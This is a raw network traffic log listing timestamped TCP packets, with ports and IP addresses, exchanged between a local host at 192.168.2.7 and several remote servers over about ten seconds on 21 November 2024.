Nov 21, 2024 00:03:28.175684929 CET	443	49780	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:28.175770044 CET	49780	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:28.175956011 CET	49780	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:28.175976038 CET	443	49780	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:29.256942987 CET	443	49777	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:29.257585049 CET	49777	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:29.257616043 CET	443	49777	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:29.258364916 CET	49777	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:29.258373976 CET	443	49777	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:29.302908897 CET	443	49776	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:29.315963984 CET	49776	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:29.315988064 CET	443	49776	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:29.316633940 CET	49776	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:29.316648960 CET	443	49776	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:29.465452909 CET	443	49778	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:29.466116905 CET	49778	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:29.466128111 CET	443	49778	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:29.466902018 CET	49778	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:29.466906071 CET	443	49778	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:29.701092005 CET	443	49777	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:29.701257944 CET	443	49777	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:29.701390028 CET	49777	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:29.701551914 CET	49777	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:29.701570988 CET	443	49777	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:29.701594114 CET	49777	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:29.701601982 CET	443	49777	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:29.720869064 CET	49781	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:29.720966101 CET	443	49781	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:29.721082926 CET	49781	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:29.721417904 CET	49781	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:29.721456051 CET	443	49781	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:29.757445097 CET	443	49776	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:29.757522106 CET	443	49776	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:29.757601023 CET	49776	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:29.757826090 CET	49776	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:29.757848024 CET	443	49776	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:29.757859945 CET	49776	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:29.757867098 CET	443	49776	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:29.764287949 CET	49782	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:29.764328957 CET	443	49782	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:29.764579058 CET	49782	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:29.765100956 CET	49782	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:29.765119076 CET	443	49782	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:29.889691114 CET	443	49779	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:29.889806986 CET	443	49780	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:29.890347004 CET	49779	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:29.890364885 CET	443	49779	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:29.890996933 CET	49779	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:29.891007900 CET	443	49779	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:29.891371965 CET	49780	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:29.891385078 CET	443	49780	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:29.891917944 CET	49780	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:29.891923904 CET	443	49780	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:29.938685894 CET	443	49778	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:29.938798904 CET	443	49778	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:29.939163923 CET	49778	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:29.939333916 CET	49778	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:29.939349890 CET	443	49778	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:29.939358950 CET	49778	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:29.939363956 CET	443	49778	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:29.942970037 CET	49783	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:29.943016052 CET	443	49783	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:29.943348885 CET	49783	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:29.943602085 CET	49783	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:29.943614960 CET	443	49783	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:30.324295044 CET	443	49780	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:30.324378014 CET	443	49780	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:30.324446917 CET	49780	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:30.326596022 CET	49780	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:30.326626062 CET	443	49780	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:30.330342054 CET	49784	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:30.330374956 CET	443	49784	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:30.330488920 CET	49784	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:30.330868006 CET	49784	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:30.330878019 CET	443	49784	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:30.457093954 CET	443	49779	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:30.457194090 CET	443	49779	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:30.457413912 CET	49779	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:30.457557917 CET	49779	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:30.457557917 CET	49779	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:30.457582951 CET	443	49779	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:30.457597017 CET	443	49779	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:30.460612059 CET	49785	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:30.460663080 CET	443	49785	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:30.460876942 CET	49785	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:30.461067915 CET	49785	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:30.461080074 CET	443	49785	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:31.506136894 CET	443	49781	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:31.543168068 CET	443	49782	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:31.549223900 CET	49781	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:31.579581976 CET	49781	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:31.579601049 CET	443	49781	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:31.580029011 CET	49781	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:31.580034971 CET	443	49781	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:31.580312967 CET	49782	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:31.580331087 CET	443	49782	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:31.580815077 CET	49782	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:31.580821037 CET	443	49782	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:31.662375927 CET	443	49783	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:31.662832975 CET	49783	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:31.662859917 CET	443	49783	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:31.664468050 CET	49783	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:31.664474010 CET	443	49783	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:31.952409029 CET	443	49781	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:31.952488899 CET	443	49781	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:31.952539921 CET	49781	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:31.952771902 CET	49781	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:31.952794075 CET	443	49781	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:31.952831984 CET	49781	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:31.952840090 CET	443	49781	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:31.956068039 CET	49794	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:31.956110001 CET	443	49794	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:31.956180096 CET	49794	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:31.956319094 CET	49794	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:31.956331968 CET	443	49794	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:31.986345053 CET	443	49782	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:31.986427069 CET	443	49782	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:31.986588001 CET	49782	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:31.986614943 CET	49782	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:31.986634970 CET	443	49782	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:31.986646891 CET	49782	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:31.986654043 CET	443	49782	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:31.989265919 CET	49795	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:31.989326000 CET	443	49795	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:31.989394903 CET	49795	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:31.989550114 CET	49795	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:31.989562988 CET	443	49795	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:32.116166115 CET	443	49783	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:32.116231918 CET	443	49783	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:32.116297960 CET	49783	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:32.116513968 CET	49783	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:32.116532087 CET	443	49783	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:32.116548061 CET	49783	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:32.116554022 CET	443	49783	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:32.119214058 CET	49796	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:32.119246006 CET	443	49796	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:32.119359016 CET	49796	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:32.119719982 CET	49796	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:32.119728088 CET	443	49796	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:32.204508066 CET	443	49784	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:32.207716942 CET	49784	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:32.207732916 CET	443	49784	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:32.208189011 CET	49784	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:32.208195925 CET	443	49784	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:32.244118929 CET	443	49785	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:32.244663000 CET	49785	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:32.244697094 CET	443	49785	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:32.245119095 CET	49785	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:32.245126009 CET	443	49785	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:32.660060883 CET	443	49784	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:32.660129070 CET	443	49784	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:32.660197973 CET	49784	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:32.661143064 CET	49784	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:32.661143064 CET	49784	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:32.661159039 CET	443	49784	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:32.661168098 CET	443	49784	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:32.691447973 CET	443	49785	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:32.691673040 CET	443	49785	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:32.691730022 CET	49785	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:32.705040932 CET	49785	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:32.705084085 CET	443	49785	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:32.705085993 CET	49785	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:32.705095053 CET	443	49785	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:32.708420992 CET	49797	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:32.708477974 CET	443	49797	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:32.708548069 CET	49797	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:32.713119984 CET	49797	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:32.713150024 CET	443	49797	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:32.717999935 CET	49798	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:32.718080044 CET	443	49798	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:32.718153000 CET	49798	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:32.718264103 CET	49798	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:32.718297005 CET	443	49798	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:33.691694021 CET	443	49794	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:33.692285061 CET	49794	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:33.692308903 CET	443	49794	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:33.692953110 CET	49794	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:33.692958117 CET	443	49794	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:33.709918022 CET	443	49795	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:33.710378885 CET	49795	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:33.710422039 CET	443	49795	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:33.710810900 CET	49795	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:33.710818052 CET	443	49795	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:33.917853117 CET	443	49796	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:33.920679092 CET	49796	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:33.920701027 CET	443	49796	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:33.921354055 CET	49796	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:33.921360970 CET	443	49796	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:34.128454924 CET	443	49794	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:34.128545046 CET	443	49794	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:34.128595114 CET	49794	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:34.128762960 CET	49794	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:34.128793001 CET	443	49794	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:34.128806114 CET	49794	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:34.128815889 CET	443	49794	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:34.131812096 CET	49802	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:34.131849051 CET	443	49802	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:34.131925106 CET	49802	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:34.132250071 CET	49802	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:34.132266045 CET	443	49802	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:34.143646955 CET	443	49795	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:34.143721104 CET	443	49795	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:34.143779039 CET	49795	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:34.143955946 CET	49795	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:34.143981934 CET	443	49795	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:34.143996954 CET	49795	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:34.144004107 CET	443	49795	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:34.147061110 CET	49803	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:34.147099018 CET	443	49803	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:34.147198915 CET	49803	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:34.147355080 CET	49803	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:34.147366047 CET	443	49803	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:34.376810074 CET	443	49796	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:34.376918077 CET	443	49796	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:34.376971960 CET	49796	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:34.377100945 CET	49796	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:34.377145052 CET	443	49796	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:34.377177000 CET	49796	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:34.377197027 CET	443	49796	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:34.380213976 CET	49804	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:34.380249023 CET	443	49804	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:34.380420923 CET	49804	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:34.380506039 CET	49804	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:34.380515099 CET	443	49804	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:34.443967104 CET	443	49798	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:34.444438934 CET	49798	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:34.444487095 CET	443	49798	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:34.445067883 CET	49798	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:34.445080042 CET	443	49798	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:34.603775024 CET	443	49797	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:34.604300022 CET	49797	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:34.604351997 CET	443	49797	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:34.604746103 CET	49797	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:34.604753017 CET	443	49797	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:34.877417088 CET	443	49798	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:34.877579927 CET	443	49798	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:34.877816916 CET	49798	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:34.877909899 CET	49798	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:34.877909899 CET	49798	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:34.877974033 CET	443	49798	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:34.878004074 CET	443	49798	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:34.880886078 CET	49805	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:34.880933046 CET	443	49805	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:34.881011009 CET	49805	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:34.881200075 CET	49805	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:34.881216049 CET	443	49805	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:35.065546989 CET	443	49797	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:35.065625906 CET	443	49797	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:35.065860987 CET	49797	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:35.065912962 CET	49797	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:35.065933943 CET	443	49797	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:35.065939903 CET	49797	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:35.065952063 CET	443	49797	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:35.068829060 CET	49806	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:35.068866014 CET	443	49806	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:35.069096088 CET	49806	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:35.069276094 CET	49806	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:35.069288015 CET	443	49806	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:35.093163013 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:35.941787958 CET	443	49803	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:35.985569954 CET	49803	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:35.995296001 CET	443	49802	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:36.047982931 CET	49802	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:36.085381031 CET	49809	443	192.168.2.7	142.250.184.228
Nov 21, 2024 00:03:36.085424900 CET	443	49809	142.250.184.228	192.168.2.7
Nov 21, 2024 00:03:36.085485935 CET	49809	443	192.168.2.7	142.250.184.228
Nov 21, 2024 00:03:36.085745096 CET	49809	443	192.168.2.7	142.250.184.228
Nov 21, 2024 00:03:36.085757971 CET	443	49809	142.250.184.228	192.168.2.7
Nov 21, 2024 00:03:36.098309994 CET	443	49804	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:36.113744020 CET	49803	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:36.113744020 CET	49803	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:36.113759995 CET	443	49803	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:36.113782883 CET	443	49803	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:36.125708103 CET	49802	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:36.125720024 CET	443	49802	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:36.126671076 CET	49802	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:36.126677036 CET	443	49802	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:36.126795053 CET	49804	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:36.126818895 CET	443	49804	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:36.127209902 CET	49804	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:36.127217054 CET	443	49804	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:36.441301107 CET	443	49803	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:36.441889048 CET	443	49803	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:36.441960096 CET	49803	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:36.442020893 CET	49803	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:36.442039967 CET	443	49803	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:36.442049980 CET	49803	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:36.442056894 CET	443	49803	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:36.444732904 CET	49810	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:36.444755077 CET	443	49810	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:36.444829941 CET	49810	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:36.445172071 CET	49810	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:36.445179939 CET	443	49810	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:36.471016884 CET	443	49802	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:36.471041918 CET	443	49802	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:36.471101999 CET	443	49802	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:36.471107960 CET	49802	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:36.471153021 CET	49802	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:36.471473932 CET	49802	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:36.471491098 CET	443	49802	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:36.471503973 CET	49802	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:36.471513987 CET	443	49802	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:36.474697113 CET	49811	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:36.474720001 CET	443	49811	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:36.474790096 CET	49811	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:36.475102901 CET	49811	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:36.475114107 CET	443	49811	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:36.521636963 CET	49812	443	192.168.2.7	184.28.90.27
Nov 21, 2024 00:03:36.521662951 CET	443	49812	184.28.90.27	192.168.2.7
Nov 21, 2024 00:03:36.521948099 CET	49812	443	192.168.2.7	184.28.90.27
Nov 21, 2024 00:03:36.523256063 CET	49812	443	192.168.2.7	184.28.90.27
Nov 21, 2024 00:03:36.523267984 CET	443	49812	184.28.90.27	192.168.2.7
Nov 21, 2024 00:03:36.554997921 CET	443	49804	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:36.555095911 CET	443	49804	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:36.555154085 CET	49804	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:36.555335999 CET	49804	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:36.555347919 CET	443	49804	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:36.555367947 CET	49804	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:36.555373907 CET	443	49804	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:36.558259964 CET	49813	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:36.558279037 CET	443	49813	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:36.558387041 CET	49813	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:36.558526993 CET	49813	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:36.558536053 CET	443	49813	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:36.681821108 CET	443	49805	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:36.682282925 CET	49805	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:36.682317019 CET	443	49805	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:36.682730913 CET	49805	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:36.682734966 CET	443	49805	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:36.952421904 CET	443	49806	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:36.953142881 CET	49806	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:36.953161955 CET	443	49806	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:36.953804016 CET	49806	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:36.953809023 CET	443	49806	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:37.136917114 CET	443	49805	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:37.136996031 CET	443	49805	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:37.137100935 CET	49805	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:37.137124062 CET	443	49805	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:37.137306929 CET	49805	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:37.137306929 CET	49805	443	192.168.2.7	13.107.246.45
